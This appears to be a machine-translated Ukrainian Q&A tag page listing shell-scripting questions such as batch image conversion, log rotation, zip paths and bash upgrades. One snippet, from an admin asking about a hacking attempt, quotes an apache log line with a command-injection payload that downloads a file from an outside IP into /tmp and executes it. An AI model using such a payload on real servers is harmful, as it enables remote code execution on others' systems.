Запитання з тегом «shell-script»

Сценарій оболонки - це сценарій, написаний для оболонки або інтерпретатора командного рядка операційної системи.

10
Пакетне перетворення PNG в JPG в Linux
Хтось знає хороший спосіб пакетної конвертації купки PNG в JPG в Linux? (Я використовую Ubuntu). Бінарний файл png2jpg, який я міг би просто потрапити в сценарій оболонки, був би ідеальним.
163 linux  shell-script  jpeg  png 



3
Що робить експорт у BASH? [дублікат]
Можливий дублікат: різниця між "a = b" і "експортом a = b" в bash Важко визнати, але я ніколи не розумів, що саме exportстосується змінної середовища. Я знаю, що якщо я не експортую змінну, я іноді не можу її бачити в дочірніх процесах, але іноді здається, що я можу. Що …

15
Як виконати .sh файл у Windows?
Коли я намагаюся виконати файл (name.sh) у командному рядку командою ./name.sh, я отримую помилку, яка: "." не розпізнається як внутрішня чи зовнішня команда, керований чи пакетний файл будь ласка, допоможіть мені виконати .sh файл

4
Перевірте, чи відповідає будь-який параметр bash-скрипту рядку
Я намагаюся написати сценарій, де я хочу перевірити, чи будь-який з параметрів, переданих bash-скрипту, відповідає рядку. Зараз у мене це налаштування if [ "$3" != "-disCopperBld" -a "$4" != "-disCopperBld" -a "$5" != "-disCopperBld" -a "$6" != "-disCopperBld"] але може бути велика кількість параметрів, тому мені було цікаво, чи є …

9
Обертання журналу stdout?
У мене є програма Linux, яка може записувати інформацію в stdout та stderr. У мене є сценарій оболонки, який перенаправляє цей вихід у файл у /var/log. (Через >>та 2>&1.) Чи є спосіб змусити цей файл журналу обертатись? (Максимальний розмір, потім переключиться на інший файл, зберегти лише обмежену кількість файлів) Я …

3
Уникайте небажаного шляху в Zip-файл
Я роблю сценарій оболонки, щоб упакувати деякі файли. Я блискаю такий каталог: zip -r /Users/me/development/something/out.zip /Users/me/development/something/folder/ Проблема полягає в тому, що в результуючому архіві out.zip є весь шлях до нього. Тобто при розпакуванні він матиме в ньому весь шлях "/ користувачів / мене / розвиток / інше /". Чи можливо …
49 macos  bash  zip  path  shell-script 


2
Що робить цей сценарій bash? [Спроба злому]
Останнім часом я помічав на своїх серверах журнали apache, такі дивні рядки: 156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0" Тож я створив спеціальний фільтр Fail2Ban і почав забороняти IP-адреси із запитом цих URL-адрес /login.cgi. Але мені було цікаво, що вони намагаються зробити, тому я витягнув …

2
Що не так з "echo $ (stuff)" чи "echo` stuff "?
Я використав одне з наступних echo $(stuff) echo `stuff` (Де stuffзнаходиться , наприклад , pwdабо , dateабо що - то більш складне). Тоді мені сказали, що цей синтаксис є неправильним, погана практика, неелегантна, надмірна, надмірна, надмірно складна, програмування культового культу, нобіш, наївність тощо. Але команда робить роботу, так що саме …
31 shell-script  sh  echo 

5
Як витягнути повний список типів розширень в каталозі?
Всередині каталогу та рекурсивно в його підкаталогах, тобто кожен каталог у каталозі обробляється, як я складаю повний список унікальних розширень всередині каталогу? ОС - це Windows XP з усіма поточними оновленнями, але я добре працюю із сценарієм, якщо я можу сказати, що це робить, хоча я вважаю за краще не …

2
Скрипт оболонки повторює новий рядок для подачі
Я хочу повторити новий рядок у файлі між змінними в сценарії оболонки. Ось мій код: var1 = "Привіт" var2 = "Світ!" logwrite = "$ var1 [Тут я хочу вставити новий рядок] $ var2 echo "$ logwrite" >> /Users/username/Desktop/user.txt Зараз під час запуску сценарію файл user.txt показує це: Привіт Світ! Я …

4
Як замінити частину текстового файлу між маркерами іншим текстовим файлом?
Скажіть, у мене є такий текстовий файл: # custom content section a b ### BEGIN GENERATED CONTENT c d ### END GENERATED CONTENT Я хотів би замінити частину між GENERATED CONTENTтегами вмістом іншого файлу. Який найпростіший спосіб це зробити?

3
Як оновити bash на Mac OS X Yosemite
Просто намагаюся трохи навчитися писати сценарії. Моя стара версія bash: Bash version 3.2.53(1)-release... Я оновив свій баш на mac os x yosemite домашньою мовою: brew update brew install bash Потім у властивостях терміналу я змінив стандартний шлях /bin/bashдо оболонки з на /usr/local/bin/bash(Як я розумію, саме тут домівка встановлює оновлений bash). …

Використовуючи наш веб-сайт, ви визнаєте, що прочитали та зрозуміли наші Політику щодо файлів cookie та Політику конфіденційності.
Licensed under cc by-sa 3.0 with attribution required.